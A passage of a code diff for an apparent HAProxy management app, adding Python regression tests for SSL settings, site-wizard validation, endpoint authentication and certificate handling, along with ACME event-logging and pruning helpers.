( + f"PR-2 R11.B regression: ServerStep.ssl_verify={empty!r} " + "must coerce to None for UI form-clear compat." + ) + + # 'optional' is server-side invalid → coerce + m = ServerStep(**base, ssl_verify="optional") + assert m.ssl_verify is None + + +def test_wizard_sslchoice_ssl_verify_empty_coerces_to_none(): + from models.site_wizard import SSLChoice + + for empty in ("", "[]", "{}", "null"): + m = SSLChoice(mode="existing", ssl_certificate_id=1, ssl_verify=empty) + assert m.ssl_verify is None, ( + f"PR-2 R11.B regression: SSLChoice.ssl_verify={empty!r} " + "must coerce to None for UI form-clear compat." + ) + + # Bulgu #26 (round-12 audit): only 'none' passes; the wizard + # rejects 'optional' and 'required' until the ca-file column is + # plumbed through (the renderer's client-CA path is a placeholder + # that silently drops the verify directive otherwise). + m = SSLChoice(mode="existing", ssl_certificate_id=1, ssl_verify="none") + assert m.ssl_verify == "none" + import pytest as _pytest + from pydantic import ValidationError as _ValidationError + for forbidden in ("optional", "required"): + with _pytest.raises(_ValidationError): + SSLChoice(mode="existing", ssl_certificate_id=1, ssl_verify=forbidden) + + +# ───────────────────────────────────────────────────────────────────────────── +# Migration source assertions (CREATE TABLE + ADD COLUMN + cleanup) +# ───────────────────────────────────────────────────────────────────────────── + + +def test_migration_no_legacy_default_optional(): + """Both the CREATE TABLE and the ADD COLUMN paths in + `database/migrations.py` must NOT emit ``DEFAULT 'optional'`` + on the frontends.ssl_verify column. Pre-PR-2 every newly INSERTed + frontend row carried `'optional'`, which combined with the absent + client-CA column produced the user-reported fatal HAProxy ALERT. + """ + src = (_BACK / "database" / "migrations.py").read_text() + # ADD COLUMN path must omit DEFAULT 'optional' + assert "ADD COLUMN ssl_verify VARCHAR(50) DEFAULT 'optional'" not in src, ( + "PR-2 R11.B regression: ssl_verify ADD COLUMN still emits the " + "legacy `DEFAULT 'optional'` clause." + ) + # CREATE TABLE path must not have DEFAULT 'optional' + assert "ssl_verify VARCHAR(20) DEFAULT 'optional'" not in src, ( + "PR-2 R11.B regression: ssl_verify CREATE TABLE still emits the " + "legacy `DEFAULT 'optional'` clause." + ) + + +def test_migration_drops_legacy_default_in_place(): + """Already-deployed databases need an in-place ALTER ... DROP + DEFAULT to remove the legacy default. The cleanup must be + idempotent (safe to re-run on databases that already had the + column flipped).""" + src = (_BACK / "database" / "migrations.py").read_text() + assert "ALTER COLUMN ssl_verify DROP DEFAULT" in src, ( + "PR-2 R11.B regression: missing in-place DROP DEFAULT for " + "frontends.ssl_verify on already-deployed databases." + ) + + +def test_migration_cleans_up_invalid_values_only(): + """The cleanup migration must NULL only rows OUTSIDE the canonical + Literal set — operator-set valid values are preserved.""" + src = (_BACK / "database" / "migrations.py").read_text() + assert "NOT IN ('none', 'optional', 'required')" in src, ( + "PR-2 R11.B regression: ssl_verify cleanup migration is " + "missing or its WHERE clause is wrong (must filter to " + "values outside the canonical Literal set only)." + ) + # Sanity: it must not blanket-reset all rows + assert "UPDATE frontends SET ssl_verify = NULL" not in src or \ + "WHERE ssl_verify IS NOT NULL" in src, ( + "PR-2 R11.B safety: cleanup must not blanket-NULL operator-set " + "values — only rows outside the Literal set." + ) diff --git a/backend/tests/test_site_wizard_step_validation.py b/backend/tests/test_site_wizard_step_validation.py new file mode 100644 index 0000000..3b549af --- /dev/null +++ b/backend/tests/test_site_wizard_step_validation.py @@ -0,0 +1,121 @@ +"""v1.5.0 R17 — Wizard step-validation regression tests. + +Pre-R17 the `Next` button on Step 1 (Backend & Servers) called +`form.validateFields(['servers'])` — Antd's behaviour for that path is to +validate the Form.List wrapper itself, NOT the per-row required rules. +Result: a user could leave Server Address blank and `Next` would happily +advance, the error surfacing only at the final submit. R17 walks every +required nested path explicitly via `serverRows.flatMap`. + +Same pattern extended to Step 3 (SSL): only when ssl.mode='upload' or +'existing' do we validate the conditional required fields, so users in +'acme' mode aren't blocked by upload-only validators. +""" +import re +from pathlib import Path + +import pytest + + +_WIZARD_JS = ( + Path(__file__).resolve().parent.parent.parent + / "frontend" + / "src" + / "components" + / "SiteWizard.js" +) + + +def _wizard_src(): + if not _WIZARD_JS.exists(): + pytest.skip( + "frontend tree not mounted — backend-only test environments " + "skip JS source assertions" + ) + return _WIZARD_JS.read_text() + + +# ----------------- Step 1: per-row server validation ----------------- + + +def test_step1_validates_each_server_row_explicitly(): + """The flatMap over serverRows must expand the required server + paths — without it Antd's validateFields(['servers']) only walks the + Form.List metadata, leaving Address-blank rows undetected.""" + src = _wizard_src() + assert "serverRows.flatMap" in src, ( + "R17 regression: per-row server validation pattern missing — " + "Step 1 Next will not catch blank Address until submit time" + ) + # The three required paths must all be covered. + for field in ("server_name", "server_address", "server_port"): + assert re.search( + rf"\['servers',\s*i,\s*'{field}'\]", + src, + ), f"R17 regression: server.{field} dropped from per-row validation" + + +def test_step1_validation_still_includes_backend_name(): + """We must still validate the Backend Name on Step 1 — otherwise + advancing to the Frontend step with a blank backend.name would only + fail at submit.""" + src = _wizard_src() + assert re.search( + r"validateFields\(\s*\[\s*\['backend',\s*'name'\]", + src, + ), "R17 regression: backend.name validation dropped from Step 1 Next" + + +# ----------------- Step 3: SSL conditional validation ----------------- + + +def test_step3_validates_upload_required_fields(): + """When ssl.mode='upload' the Next button must validate name + + certificate_content + private_key_content. Without this, users get + bounced back to the SSL step from Review with cryptic Pydantic + errors.""" + src = _wizard_src() + # The conditional block must check upload mode and validate all 3 PEM-related fields. + assert re.search(r"mode\s*===\s*'upload'", src), ( + "R17 regression: Step 3 Next no longer branches on ssl.mode='upload'" + ) + for field in ("name", "certificate_content", "private_key_content"): + assert re.search( + rf"\['ssl',\s*'{field}'\]", + src, + ), f"R17 regression: ssl.{field} dropped from Step 3 upload-mode validation" + + +def test_step3_validates_existing_mode_picks_cert_id(): + """ssl.mode='existing' must validate ssl.ssl_certificate_id. Skipping + this lets users advance with no cert selected and crash at submit.""" + src = _wizard_src() + assert re.search(r"mode\s*===\s*'existing'", src), ( + "R17 regression: Step 3 Next no longer branches on ssl.mode='existing'" + ) + assert re.search( + r"\['ssl',\s*'ssl_certificate_id'\]", + src, + ), "R17 regression: ssl.ssl_certificate_id dropped from Step 3 existing-mode validation" + + +def test_step3_does_not_block_acme_with_upload_only_validators(): + """Important: ssl.mode='acme' has none of name/certificate_content/ + private_key_content/ssl_certificate_id — those validators must NOT + run when mode='acme'. We verify by ensuring the upload/existing + blocks are guarded by mode equality checks (i.e. they don't run + unconditionally).""" + src = _wizard_src() + # Look for a Step 3 (step === 3) block that gates by mode equality. + block_match = re.search( + r"if\s*\(\s*step\s*===\s*3\s*\)\s*\{(.*?)\}\s*setStep", + src, + re.DOTALL, + ) + assert block_match, "R17 regression: Step 3 validation block not found" + block = block_match.group(1) + # Must NOT validate certificate_content unconditionally. + assert "if (mode" in block or "mode ===" in block, ( + "R17 regression: Step 3 validation runs unconditionally — would " + "block ACME users from leaving the SSL step" + ) diff --git a/backend/tests/test_site_wizard_tdz_fix.py b/backend/tests/test_site_wizard_tdz_fix.py new file mode 100644 index 0000000..0f4e925 --- /dev/null +++ b/backend/tests/test_site_wizard_tdz_fix.py @@ -0,0 +1,125 @@ +"""v1.5.0 R15 hotfix — TDZ (Temporal Dead Zone) regression guard. + +The original v1.5.0 R12-R14 wizard JSX referenced `sslMode` inside the +stepContents array literal (e.g. `{sslMode === 'acme' && ()}`), +but the actual `const sslMode = Form.useWatch(...)` lived ~40 lines +BELOW the array literal. That's a const referenced before its +declaration in the same render scope. + +In dev mode webpack/SWC keep the original variable names so the JS +engine's TDZ check often happens to short-circuit on undefined access +(or the eager re-render cycle re-evaluates with sslMode already bound), +but the production minified build produced the user-facing crash: + + ReferenceError: Cannot access 'N' before initialization + at Fde (SiteWizard.js:1093:12) + +R15 hotfix: hoist `const sslMode = Form.useWatch(...)` and +`const acmeBlocksDraft = ...` to the top of the component, immediately +after the state hooks, so every downstream JSX expression sees them +already initialised. + +This test pins the ordering with a static source assertion. Failure +means someone moved the watcher back below stepContents and the bug is +about to ship to prod. +""" +from pathlib import Path + +import pytest + +_WIZARD_PATH = ( + Path(__file__).resolve().parent.parent.parent + / "frontend" + / "src" + / "components" + / "SiteWizard.js" +) + +if not _WIZARD_PATH.exists(): + pytest.skip( + f"frontend not present at {_WIZARD_PATH}; backend-only container " + "is expected — skip wizard JS source assertions", + allow_module_level=True, + ) + + +WIZARD_JS = _WIZARD_PATH.read_text() +LINES = WIZARD_JS.splitlines() + + +def _line_of(needle: str) -> int: + """Return the 1-based line number of the first line containing + `needle`, or raise AssertionError if not found.""" + for i, line in enumerate(LINES, start=1): + if needle in line: + return i + raise AssertionError(f"expected to find {needle!r} in SiteWizard.js") + + +def test_form_use_watch_for_sslmode_appears_only_once(): + """`Form.useWatch(['ssl', 'mode'], form)` must be declared exactly + once. Any duplicate (forgotten leftover from R15 hoisting) means + React would call useWatch twice per render — wasteful, and risks + re-introducing the TDZ if the second declaration shadows the first.""" + occurrences = WIZARD_JS.count("Form.useWatch(['ssl', 'mode'], form)") + assert occurrences == 1, ( + f"R15 regression: Form.useWatch(['ssl', 'mode'], form) appears " + f"{occurrences} times. Expected exactly 1 — duplicate watchers " + "are wasted and may shadow each other." + ) + + +def test_sslmode_declared_before_stepcontents(): + """The TDZ fix: `const sslMode = ...` must come BEFORE the + `stepContents` array literal which references sslMode inline.""" + sslmode_line = _line_of("const sslMode = Form.useWatch") + stepcontents_line = _line_of("const stepContents = [") + assert sslmode_line < stepcontents_line, ( + f"R15 regression: const sslMode is declared at line {sslmode_line} " + f"but stepContents (which references sslMode) starts at line " + f"{stepcontents_line}. With the production minifier this becomes " + "a TDZ crash: \"Cannot access 'N' before initialization\"." + ) + + +def test_acme_blocks_draft_declared_with_sslmode(): + """SUPERSEDED by Phase K Phase D (Bulgu #6). + + The `acmeBlocksDraft` const was the TDZ-safe derivation that + fed the (now-retired) "Create as PENDING" button's disabled + state. With the unified single-button UI, the derivation is + no longer needed — handleSubmit's `effectiveApply = sslModeAtSubmit + === 'acme'` does the same job at submit time. We re-pin the + NEW constraint: the unified button label `submitButtonLabel` + must be derived AFTER sslMode (consistent with the original + R15 TDZ-safety contract) and BEFORE the JSX that consumes it. + """ + sslmode_line = _line_of("const sslMode = Form.useWatch") + submit_label_line = _line_of("const submitButtonLabel =") + button_consumption_line = _line_of("{submitButtonLabel}") + assert sslmode_line < submit_label_line < button_consumption_line, ( + f"Phase K Phase D regression: TDZ ordering. sslMode at " + f"line {sslmode_line}, submitButtonLabel at {submit_label_line}, " + f"button consumption at {button_consumption_line}. " + "submitButtonLabel must be declared AFTER sslMode and " + "BEFORE the button JSX that consumes it." + ) + + +def test_no_late_redeclaration_of_sslmode_after_stepcontents(): + """Make sure no leftover `const sslMode = Form.useWatch(...)` lingers + AFTER stepContents (would shadow the hoisted one and re-trigger the + TDZ in production).""" + stepcontents_line = _line_of("const stepContents = [") + # Find every line that declares sslMode via useWatch. + decls = [ + i + 1 for i, line in enumerate(LINES) + if "const sslMode = Form.useWatch" in line + ] + late = [d for d in decls if d > stepcontents_line] + assert not late, ( + f"R15 regression: const sslMode = Form.useWatch redeclared at " + f"line(s) {late}, AFTER stepContents at line {stepcontents_line}. " + "Either the hoisted top-of-component declaration was reverted, " + "or a duplicate was added." + ) diff --git a/backend/tests/test_ssl_list_endpoint_auth.py b/backend/tests/test_ssl_list_endpoint_auth.py new file mode 100644 index 0000000..ac32ded --- /dev/null +++ b/backend/tests/test_ssl_list_endpoint_auth.py @@ -0,0 +1,47 @@ +"""v1.5.0 R18 audit ROUND 4 — behavioral test for the SSL list endpoint +authentication fix. + +Round 2 added an auth guard to GET /api/ssl/certificates. That fix had +only static-source coverage. Round 4 adds a behavioral assertion via +FastAPI's TestClient: an HTTP request without an Authorization header +must NOT receive 200 — it must be rejected with 401 (or whatever the +shared auth_middleware produces) to prevent anonymous enumeration. + +We use the existing `client` fixture from conftest. The exact status +may be 401 (Unauthorized) or 403 (Forbidden) depending on the +auth_middleware policy; either is acceptable as long as the response +is NOT a 200 with cert data. +""" +import pytest + + +def test_ssl_list_unauthenticated_request_rejected(client): + """No Authorization header → endpoint must refuse the request.""" + res = client.get("/api/ssl/certificates") + # Anything in the auth-failure family is fine; what we forbid is + # 200-with-data (which was the pre-R18 leak). + assert res.status_code in (401, 403, 422), ( + f"R18 audit (round 4) regression: GET /api/ssl/certificates " + f"without Authorization returned {res.status_code} — anonymous " + f"enumeration of SSL certificate metadata is possible again. " + f"Body: {res.text[:200]}" + ) + # Defensive check: even if some misconfiguration returned 200, + # the body must not be a list of certs. + if res.status_code == 200: + data = res.json() + assert not isinstance(data, list) or len(data) == 0, ( + "R18 audit regression: SSL list returned data without auth" + ) + + +def test_ssl_list_with_invalid_token_rejected(client): + """Garbage token → endpoint must refuse the request.""" + res = client.get( + "/api/ssl/certificates", + headers={"Authorization": "Bearer not-a-valid-jwt"}, + ) + assert res.status_code in (401, 403, 422), ( + f"R18 audit (round 4) regression: GET /api/ssl/certificates " + f"with an invalid token returned {res.status_code}" + ) diff --git a/backend/tests/test_ssl_service_extraction.py b/backend/tests/test_ssl_service_extraction.py new file mode 100644 index 0000000..d0fae59 --- /dev/null +++ b/backend/tests/test_ssl_service_extraction.py @@ -0,0 +1,355 @@ +""" +v1.5.0 service extraction parity — ssl_service. + +Asserts: +- create_cert_row inserts with cluster_id=NULL on the cert row itself, then + binds via the junction (R38 schema). +- ensure_cluster_junction is idempotent via ON CONFLICT DO NOTHING (M11). +- select_existing_cert returns id only when row is_active. + +Phase K Phase D follow-up (Bulgu #9) — `create_cert_row` now parses +the PEM via `utils.ssl_parser.parse_ssl_certificate` and validates +the private key + chain before INSERT (parity with the SSL +Management page). Tests patch the parser/validators with valid +return values; an additional negative-path test pins the +HTTPException flow for invalid input. +""" +import json +from datetime import datetime, timezone +from types import SimpleNamespace +from unittest.mock import AsyncMock, patch + +import pytest + +from services.ssl_service import ( + create_cert_row, + ensure_cluster_junction, + select_existing_cert, +) + + +# ---------------------------------------------------------------------------- +# Test helpers +# ---------------------------------------------------------------------------- + + +_VALID_PARSE = { + "primary_domain": "www.example.com", + "all_domains": ["www.example.com"], + "expiry_date": datetime(2099, 1, 1, tzinfo=timezone.utc), + "issuer": "CN=Test CA", + "fingerprint": "AA:BB:CC", + "status": "valid", + "days_until_expiry": 365, +} + + +def _mock_parse_ok(*args, **kwargs): + return dict(_VALID_PARSE) + + +# ---------------------------------------------------------------------------- +# create_cert_row +# ---------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_create_cert_row_inserts_cluster_id_null(): + """R38: ssl_certificates.cluster_id MUST always be NULL — junction is the truth.""" + conn = AsyncMock() + conn.fetchval.return_value = 33 + conn.fetchrow.return_value = None # no existing cert with same name + payload = SimpleNamespace( + name="cert-www", + primary_domain="www.example.com", + certificate_content="-----BEGIN CERTIFICATE-----\nXX\n-----END CERTIFICATE-----", + private_key_content="-----BEGIN PRIVATE KEY-----\nYY\n-----END PRIVATE KEY-----", + chain_content=None, + all_domains=["www.example.com"], + ) + + with patch("services.ssl_service.parse_ssl_certificate", side_effect=_mock_parse_ok), \ + patch("services.ssl_service.validate_private_key", return_value=True), \ + patch("services.ssl_service.validate_certificate_chain", return_value=True): + new_id = await create_cert_row(conn, payload, cluster_id=2) + assert new_id == 33 + + sql, *_ = conn.fetchval.call_args.args + # The literal NULL on cluster_id is part of the templated SQL string. + assert "cluster_id, last_config_status" in sql + assert "NULL, 'PENDING'" in sql + + # Junction must be inserted exactly once. + junction_calls = [ + c for c in conn.execute.call_args_list + if c.args and "ssl_certificate_clusters" in c.args[0] + ] + assert len(junction_calls) == 1 + assert junction_calls[0].args[1] == 33 # ssl_certificate_id + assert junction_calls[0].args[2] == 2 # cluster_id + + +@pytest.mark.asyncio +async def test_create_cert_row_serializes_all_domains_jsonb(): + conn = AsyncMock() + conn.fetchval.return_value = 1 + conn.fetchrow.return_value = None + payload = SimpleNamespace( + name="cert", primary_domain="a.example.com", + certificate_content="-----BEGIN CERTIFICATE-----\nX\n-----END CERTIFICATE-----", + private_key_content="-----BEGIN PRIVATE KEY-----\nY\n-----END PRIVATE KEY-----", + chain_content=None, + all_domains=["a.example.com", "b.example.com"], + ) + parse_result = dict(_VALID_PARSE) + parse_result["primary_domain"] = "a.example.com" + parse_result["all_domains"] = ["a.example.com", "b.example.com"] + with patch("services.ssl_service.parse_ssl_certificate", return_value=parse_result), \ + patch("services.ssl_service.validate_private_key", return_value=True), \ + patch("services.ssl_service.validate_certificate_chain", return_value=True): + await create_cert_row(conn, payload, cluster_id=1) + sql, *args = conn.fetchval.call_args.args + # all_domains is the 11th positional ($11) — after the new + # parsed `status` + `days_until_expiry` columns. + assert json.loads(args[10]) == ["a.example.com", "b.example.com"] + + +@pytest.mark.asyncio +async def test_create_cert_row_rejects_invalid_pem_with_400(): + """Phase K Phase D (Bulgu #9) — `create_cert_row` must raise + HTTPException(400) when the PEM cannot be parsed. Pre-fix the + wizard silently accepted any string and stored a row with NULL + expiry/issuer/fingerprint, then HAProxy would fail at apply. + """ + from fastapi import HTTPException + + conn = AsyncMock() + payload = SimpleNamespace( + name="bad", + certificate_content="not a pem", + private_key_content=None, + chain_content=None, + ) + with patch( + "services.ssl_service.parse_ssl_certificate", + return_value={"error": "Could not parse certificate"}, + ): + with pytest.raises(HTTPException) as exc_info: + await create_cert_row(conn, payload, cluster_id=1) + assert exc_info.value.status_code == 400 + assert "Invalid SSL certificate" in exc_info.value.detail + + +@pytest.mark.asyncio +async def test_create_cert_row_rejects_empty_certificate_content(): + """An empty cert content string must short-circuit BEFORE the + parser runs — clear UX for the operator who left the field blank. + """ + from fastapi import HTTPException + + conn = AsyncMock() + payload = SimpleNamespace( + name="empty", + certificate_content="", + private_key_content=None, + chain_content=None, + ) + with pytest.raises(HTTPException) as exc_info: + await create_cert_row(conn, payload, cluster_id=1) + assert exc_info.value.status_code == 400 + assert "empty" in exc_info.value.detail.lower() + + +@pytest.mark.asyncio +async def test_create_cert_row_rejects_invalid_private_key_with_400(): + from fastapi import HTTPException + + conn = AsyncMock() + payload = SimpleNamespace( + name="bad-key", + certificate_content="-----BEGIN CERTIFICATE-----\nX\n-----END CERTIFICATE-----", + private_key_content="this is not a private key", + chain_content=None, + ) + with patch("services.ssl_service.parse_ssl_certificate", side_effect=_mock_parse_ok), \ + patch("services.ssl_service.validate_private_key", return_value=False): + with pytest.raises(HTTPException) as exc_info: + await create_cert_row(conn, payload, cluster_id=1) + assert exc_info.value.status_code == 400 + assert "private key" in exc_info.value.detail.lower() + + +@pytest.mark.asyncio +async def test_create_cert_row_rejects_invalid_chain_with_400(): + from fastapi import HTTPException + + conn = AsyncMock() + payload = SimpleNamespace( + name="bad-chain", + certificate_content="-----BEGIN CERTIFICATE-----\nX\n-----END CERTIFICATE-----", + private_key_content=None, + chain_content="not a chain", + ) + with patch("services.ssl_service.parse_ssl_certificate", side_effect=_mock_parse_ok), \ + patch("services.ssl_service.validate_certificate_chain", return_value=False): + with pytest.raises(HTTPException) as exc_info: + await create_cert_row(conn, payload, cluster_id=1) + assert exc_info.value.status_code == 400 + assert "chain" in exc_info.value.detail.lower() + + +@pytest.mark.asyncio +async def test_create_cert_row_rejects_duplicate_active_name_with_400(): + """Mirror the SSL Management page's name-conflict response + (ssl.py:462-468). Pre-fix the wizard would either succeed + (creating a duplicate row that broke the unique constraint at + INSERT — 500) or fail with an opaque DB error. Now we return a + friendly 400 the wizard surfaces as a step-jumpback toast. + """ + from fastapi import HTTPException + + conn = AsyncMock() + # Existing active cert with same name in this cluster. + conn.fetchrow.return_value = {"id": 99, "is_active": True} + payload = SimpleNamespace( + name="duplicate", + certificate_content="-----BEGIN CERTIFICATE-----\nX\n-----END CERTIFICATE-----", + private_key_content="-----BEGIN PRIVATE KEY-----\nY\n-----END PRIVATE KEY-----", + chain_content=None, + ) + with patch("services.ssl_service.parse_ssl_certificate", side_effect=_mock_parse_ok), \ + patch("services.ssl_service.validate_private_key", return_value=True), \ + patch("services.ssl_service.validate_certificate_chain", return_value=True): + with pytest.raises(HTTPException) as exc_info: + await create_cert_row(conn, payload, cluster_id=1) + assert exc_info.value.status_code == 400 + assert "already exists" in exc_info.value.detail.lower() + + +@pytest.mark.asyncio +async def test_create_cert_row_reactivates_soft_deleted_name(): + """Mirror ssl.py:470-500 — when a soft-deleted cert exists with + the same name (is_active=False), reuse its row id and UPDATE + contents instead of inserting a duplicate. Preserves any + downstream references (auditor history, version names that + embedded the cert id, etc.). + """ + conn = AsyncMock() + conn.fetchrow.return_value = {"id": 77, "is_active": False} + payload = SimpleNamespace( + name="recycled", + certificate_content="-----BEGIN CERTIFICATE-----\nX\n-----END CERTIFICATE-----", + private_key_content="-----BEGIN PRIVATE KEY-----\nY\n-----END PRIVATE KEY-----", + chain_content=None, + ) + with patch("services.ssl_service.parse_ssl_certificate", side_effect=_mock_parse_ok), \ + patch("services.ssl_service.validate_private_key", return_value=True), \ + patch("services.ssl_service.validate_certificate_chain", return_value=True): + new_id = await create_cert_row(conn, payload, cluster_id=1) + assert new_id == 77 + # We must NOT have INSERTed (no fetchval call), only UPDATEd + DELETEd-junction + re-INSERTed junction. + assert not conn.fetchval.await_count + # And `UPDATE ssl_certificates ... is_active = TRUE` must have run. + update_calls = [ + c for c in conn.execute.call_args_list + if c.args and "UPDATE ssl_certificates" in c.args[0] + ] + assert len(update_calls) == 1, "soft-deleted cert reactivation must run a single UPDATE" + + +@pytest.mark.asyncio +async def test_create_cert_row_parses_metadata_from_pem_not_payload(): + """Phase K Phase D (Bulgu #9) — primary_domain / all_domains / + expiry_date / issuer / fingerprint / status / days_until_expiry + MUST come from the parsed certificate, NOT from operator-typed + domain fields on the wizard. Pre-fix the wizard inserted the + user's frontend domains into the SSL row even when the cert + SAN was different — confusing UX on the SSL Management page. + """ + conn = AsyncMock() + conn.fetchval.return_value = 123 + conn.fetchrow.return_value = None + payload = SimpleNamespace( + # Operator typed `app.example.com` for the frontend domain, + # but the cert SAN is `*.example.com`. + name="cert-from-pem", + primary_domain="app.example.com", + all_domains=["app.example.com"], + certificate_content="-----BEGIN CERTIFICATE-----\nX\n-----END CERTIFICATE-----", + private_key_content="-----BEGIN PRIVATE KEY-----\nY\n-----END PRIVATE KEY-----", + chain_content=None, + ) + cert_parse = dict(_VALID_PARSE) + cert_parse["primary_domain"] = "*.example.com" + cert_parse["all_domains"] = ["*.example.com", "www.example.com"] + cert_parse["issuer"] = "CN=R3" + cert_parse["fingerprint"] = "DE:AD:BE:EF" + with patch("services.ssl_service.parse_ssl_certificate", return_value=cert_parse), \ + patch("services.ssl_service.validate_private_key", return_value=True), \ + patch("services.ssl_service.validate_certificate_chain", return_value=True): + await create_cert_row(conn, payload, cluster_id=1) + sql, *args = conn.fetchval.call_args.args + # primary_domain is $2 → args[1] + assert args[1] == "*.example.com", ( + "primary_domain must come from the parsed PEM, not the " + "operator-typed frontend domain" + ) + # all_domains is now $11 → args[10] (post-Bulgu #9 column order) + assert json.loads(args[10]) == ["*.example.com", "www.example.com"] + # issuer $7 → args[6], fingerprint $8 → args[7] + assert args[6] == "CN=R3" + assert args[7] == "DE:AD:BE:EF" + + +# ---------------------------------------------------------------------------- +# ensure_cluster_junction (M11 idempotency) +# ---------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_ensure_cluster_junction_uses_on_conflict_do_nothing(): + conn = AsyncMock() + await ensure_cluster_junction(conn, ssl_certificate_id=1, cluster_id=2) + sql, *_ = conn.execute.call_args.args + assert "INSERT INTO ssl_certificate_clusters" in sql + assert "ON CONFLICT" in sql + assert "DO NOTHING" in sql + + +@pytest.mark.asyncio +async def test_ensure_cluster_junction_can_be_called_twice_safely(): + """Idempotency at the helper level — repeated calls must not raise.""" + conn = AsyncMock() + await ensure_cluster_junction(conn, 1, 2) + await ensure_cluster_junction(conn, 1, 2) + assert conn.execute.await_count == 2 + + +# ---------------------------------------------------------------------------- +# select_existing_cert +# ---------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_select_existing_cert_returns_id_when_active(): + conn = AsyncMock() + conn.fetchrow.return_value = {"id": 7} + out = await select_existing_cert(conn, ssl_certificate_id=7, cluster_id=1) + assert out == 7 + # Junction must be ensured even on existing-cert reuse (idempotent). + junction_calls = [c for c in conn.execute.call_args_list + if c.args and "ssl_certificate_clusters" in c.args[0]] + assert len(junction_calls) == 1 + + +@pytest.mark.asyncio +async def test_select_existing_cert_returns_none_when_inactive_or_missing(): + conn = AsyncMock() + conn.fetchrow.return_value = None + out = await select_existing_cert(conn, ssl_certificate_id=7, cluster_id=1) + assert out is None + # Junction must NOT be inserted for non-existent certs. + assert all( + not (c.args and "ssl_certificate_clusters" in c.args[0]) + for c in conn.execute.call_args_list + ) diff --git a/backend/utils/activity_log.py b/backend/utils/activity_log.py index 5f2d4ae..74c94fc 100644 --- a/backend/utils/activity_log.py +++ b/backend/utils/activity_log.py @@ -99,4 +99,174 @@ async def get_user_activity_logs( except Exception as e: logger.error(f"Failed to get user activity logs: {e}") - return [] \ No newline at end of file + return [] + + +# ---------------------------------------------------------------------------- +# v1.5.0 Feature A (Issue #13): typed ACME order event log helper +# ---------------------------------------------------------------------------- + + +async def record_event( + order_id: int, + event_type: str, + *, + severity: str = "INFO", + message: Optional[str] = None, + details: Optional[Dict[str, Any]] = None, + correlation_id: Optional[str] = None, + conn=None, +) -> Optional[int]: + """Insert a typed event row into acme_order_events. + + Wrapped in try/except so that an event-log DB failure NEVER breaks the + main ACME flow (Section 5.2 of the v1.5.0 plan). + + M24: when `conn` is passed in (e.g. inside the + complete_pending_acme_orders pool-pressure-sensitive task), reuse the + existing connection instead of acquiring a new one from the pool. + + Returns the inserted row id, or None on failure. + """ + own_conn = False + try: + if conn is None: + conn = await get_database_connection() + own_conn = True + + details_json = json.dumps(details or {}) if not isinstance(details, str) else details + try: + row_id = await conn.fetchval( + """ + INSERT INTO acme_order_events ( + order_id, event_type, severity, message, details, correlation_id + ) VALUES ($1, $2, $3, $4, $5::jsonb, $6) + RETURNING id + """, + order_id, + event_type, + severity.upper() if severity else "INFO", + message, + details_json, + correlation_id, + ) + return row_id + except Exception as e: + # Most likely cause: acme_order_events table missing in older + # deployments (migration not yet run). NEVER raise. + logger.debug( + f"record_event: insert failed (order_id={order_id}, " + f"event_type={event_type}): {e}" + ) + return None + except Exception as e: + logger.debug(f"record_event: outer failure (order_id={order_id}): {e}") + return None + finally: + if own_conn and conn is not None: + try: + await close_database_connection(conn) + except Exception: + pass + + +async def prune_acme_events_and_drafts_if_due() -> Dict[str, int]: + """Daily-watermarked TTL prune (M30 / Section 5.3 of v1.5.0 plan). + + - acme_order_events: 90d retention. + - wizard_drafts: 30d retention (also pruned by expires_at < NOW() since + that column exists explicitly). + + Watermarking via system_settings (dot-notation keys — + `acme.events_last_pruned_at` / `wizard.drafts_last_pruned_at`) + ensures multi-replica deployments only run the prune once per day. + + Always returns a dict with the (possibly zero) prune counts. Never raises. + """ + counts = {"acme_events": 0, "wizard_drafts": 0} + conn = None + try: + conn = await get_database_connection() + + async def _maybe_run(setting_key: str, ttl_query: str) -> int: + """Returns # rows pruned, or 0 if not yet due.""" + try: + row = await conn.fetchrow( + "SELECT value FROM system_settings WHERE key = $1", + setting_key, + ) + last_at: Optional[datetime] = None + if row and row["value"] is not None: + raw = row["value"] + if isinstance(raw, str): + try: + raw = json.loads(raw) + except json.JSONDecodeError: + raw = None + if isinstance(raw, str): + try: + last_at = datetime.fromisoformat(raw.replace("Z", "+00:00")) + except ValueError: + last_at = None + + if last_at is not None: + age_seconds = (datetime.utcnow() - last_at.replace(tzinfo=None)).total_seconds() + if age_seconds < 24 * 3600: + return 0 + + result = await conn.execute(ttl_query) + count = 0 + if isinstance(result, str) and result.startswith("DELETE "): + try: + count = int(result.split()[-1]) + except (ValueError, IndexError): + count = 0 + + ts_value = json.dumps(datetime.utcnow().isoformat() + "Z") + await conn.execute( + """ + INSERT INTO system_settings (key, value, category, description) + VALUES ($1, $2::jsonb, $3, $4) + ON CONFLICT (key) DO UPDATE + SET value = EXCLUDED.value, updated_at = CURRENT_TIMESTAMP + """, + setting_key, + ts_value, + "acme" if setting_key.startswith("acme.") else "wizard", + "Internal: last daily prune timestamp (v1.5.0)", + ) + return count + except Exception as inner: + logger.debug(f"prune watermark step failed for {setting_key}: {inner}") + return 0 + + # acme_order_events 90d + counts["acme_events"] = await _maybe_run( + "acme.events_last_pruned_at", + "DELETE FROM acme_order_events WHERE created_at < NOW() - INTERVAL '90 days'", + ) + # wizard_drafts 30d (also catches expires_at-passed rows) + counts["wizard_drafts"] = await _maybe_run( + "wizard.drafts_last_pruned_at", + """ + DELETE FROM wizard_drafts + WHERE created_at < NOW() - INTERVAL '30 days' + OR expires_at < NOW() + """, + ) + + if counts["acme_events"] or counts["wizard_drafts"]: + logger.info( + f"v1.5.0 daily prune: acme_events={counts['acme_events']} " + f"wizard_drafts={counts['wizard_drafts']}" + ) + return counts + except Exception as e: + logger.debug(f"prune_acme_events_and_drafts_if_due: {e}") + return counts + finally: + if conn is not None: + try: + await close_database_connection(conn) + except Exception: + pass diff --git a/backend/utils/domain_validation.py b/backend/utils/domain_validation.py new file mode 100644 index 0000000..22106b8 --- /dev/null +++ b/backend/utils/domain_validation.py @@ -0,0 +1,77 @@ +""" +Single source of truth for domain regex validation (M10). + +Mirrored client-side at frontend/src/utils/validation.js. Both sides MUST be +updated together; the wizard's per-step validation relies on byte-identical +behaviour with the server-side rejection. + +RFC 1035 / RFC 5890 hostname/domain label rules; allows leading wildcard '*.'. +""" + +import re + + +DOMAIN_REGEX = re.compile( + 